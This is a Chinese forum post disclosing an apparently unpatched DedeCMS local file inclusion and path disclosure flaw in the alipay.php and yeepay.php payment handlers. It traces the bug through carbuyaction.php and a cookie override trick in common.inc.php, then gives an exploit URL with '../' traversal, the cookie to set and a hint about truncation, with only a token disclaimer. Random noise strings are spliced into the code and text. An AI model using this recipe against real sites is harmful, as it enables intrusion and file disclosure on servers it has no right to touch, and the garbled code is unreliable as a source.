dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
% E9 m# s3 J/ x) b6 _8 A
出现漏洞的两个文件为：
- T/ B0 T" y2 S$ u$ b5 ~7 S0 JInclude/payment/alipay.php
7 i- ^  D  G2 sInclude/payment/yeepay.php
& w  R* u8 L- A1 }漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php
7 o$ v3 M- w* l& k0 I
, H7 W2 J* h& t2 N/ H- W6 A2 D......
   function respond()
; X( G; B5 ]) W! Z- V  N3 y    {
1 Y3 F) ^+ p1 E7 q" [" S# }/ r" N        if (!empty($_POST))
        {
            foreach($_POST as $key => $data)
            {
+ ?& K6 `  M7 [5 B                $_GET[$key] = $data;
            }
        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......


  x# x' n$ o5 N7 G( U大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

$ Z* }% t4 p& v( pInclude/payment/yeepay.php

  X  {% v6 a( `" d/ E2 x1 ~

......
    function respond()
    {
# l. _8 M0 O  J) }/ }
5 B, ~: f( T9 T$ N% f0 `        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
) K8 B# r4 p+ ^5 Y/ b
        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......




' x/ D' f  e: k大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
6 R; z9 t" M  r9 h- j4 G
这两个方法在plus/carbuyaction.php文件调用。

/ X" }0 k* U3 E' L+ Aplus/carbuyaction.php
2 w/ k1 Q% r- Q4 e) K7 N. f' R9 P
3 s$ q$ Z/ `. Q% y+ X- b- j......
6 n# A- k; \% e! q4 H} else if ($dopost == 'return') {
, u- Y0 D6 M7 F5 q6 m$ K; q. N    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
& F* a# K: a( T) n    {
& i. W$ v' _* [) w/ s, u' |        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
1 l( h# Y' `' m& C3 e8 v, @        ShowMsg($msg, "javascript:;", 0, 3000);
  f0 w6 L1 \9 D8 [/ G$ _! L3 F        exit();  
/ q4 K) r8 E4 j8 t7 D    } else {
( }$ l$ E% i, I0 n) y8 w8 i3 e        exit('Error:File Type Can\'t Recognized!');
    }
* a- ^- s- p& `$ L! Y8 |9 x  c}
5 \+ Q4 a, v! X" `" Y  v) d# v......


5 `9 i$ p4 ^$ {' K! A, N5 q+ y
  H8 y8 t7 w3 x' K4 Z- k
0 ?) O" c# O) b! D

大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
: g- S5 i, w* O* T# ^" B  m# V所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

) L/ `9 ^4 b* ]( I. x* D; _2 ^% q回到include/common.inc.php来看看他的机制。


* _% A# H" a. f% g$ {+ U
1 q; u! F& X) z5 G. f......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
* Y* ]' o, Z3 h( u: O                else ${$_k} = _RunMagicQuotes($_v);
        }
}
; \' B  i- Z5 g......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
, n+ q- d; ~3 U$ n# i  t( R9 H由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。